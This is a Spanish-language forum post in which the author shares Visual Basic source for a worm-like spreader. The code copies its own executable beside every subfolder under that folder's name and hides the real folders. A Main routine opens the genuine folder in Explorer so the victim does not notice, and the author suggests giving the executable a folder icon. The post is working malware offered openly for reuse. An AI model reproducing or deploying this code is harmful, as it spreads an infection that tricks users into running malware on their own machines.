Les dejo este code hecho por mi. La infeccion es similar a la de sanlegasOption Explicit
'*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=
Function Infectar_Carpeta(Folder)
'Dim FSO
'Set FSO = CreateObject("Scripting.FileSystemObject")
'FSO.CopyFile App.path & "\" & App.EXEName & ".exe", Folder.path & ".exe"
Dim paths As String
paths = App.path
If Right(paths, 1) <> "\" Then paths = paths & "\"
If Existe(Folder.path & ".exe") = False Then
FileCopy paths & App.EXEName & ".exe", Folder.path & ".exe"
SetAttr Folder.path, 4
SetAttr Folder.path, 2
End If
'Folder.Name
End Function
'*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=
Function Buscar_todas_carpetas(Folder)
Dim SubFolders
Dim SubFolder
Set SubFolders = Folder.SubFolders
If SubFolders.Count <> 0 Then
For Each SubFolder In SubFolders
Call Infectar_Carpeta(SubFolder)
Next
'BUSCA TODAS LAS SUBCARPETAS
'For Each SubFolder In SubFolders
' Call Buscar_todas_carpetas(SubFolder)
'Next
End If
End Function
'*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=
Function INFECTAR_PC(path) ' AQUI SE INICIA EL PATH MATRIZ
Dim FSO
Dim TestFolder
Set FSO = CreateObject("Scripting.FileSystemObject")
If Right(path, 1) <> "\" Then path = path & "\"
Set TestFolder = FSO.GetFolder(path)
Call Buscar_todas_carpetas(TestFolder)
End Function
Busca en un direcorio tdas las carpetas incluyecndo subcrpetas ycopia el ejecutable con el nombre y oculta las reales, solo tienen que agregarle el icono de carpera.
Aqui va un ejemplo de la llamada
Sub Main()
Dim path As String
path = App.path
If Right(path, 1) <> "\" Then path = path & "\"
If Existe(path & App.EXEName) Then
Shell "explorer " & path & App.EXEName
End If
INFECTAR_PC (App.path)
End Sub
LO que esta al principio es para que digamos ya se infecto el path pero cuando vayas a ejecutar el archivo abra la carpeta que cntiene el msmo nombre.Public Function Existe(Archivo As String) As Boolean
On Error GoTo salidita
Call FileLen(Archivo)
Existe = True
Exit Function
salidita:
End Function
PD: En el enigm dowlader de sanlegas abria el explorer este no jejejej solo chequen el code ydigame si les gusto. saludos by adwind.
Tengo muchs proyectos pero estode estudiar ciclo corto me quita mucho tiempo jajaja saludos
Inspiracion: El enigmas dowloader. Pronto sacare mi spreader dowloader como el de sanlegas pero mjorado XD
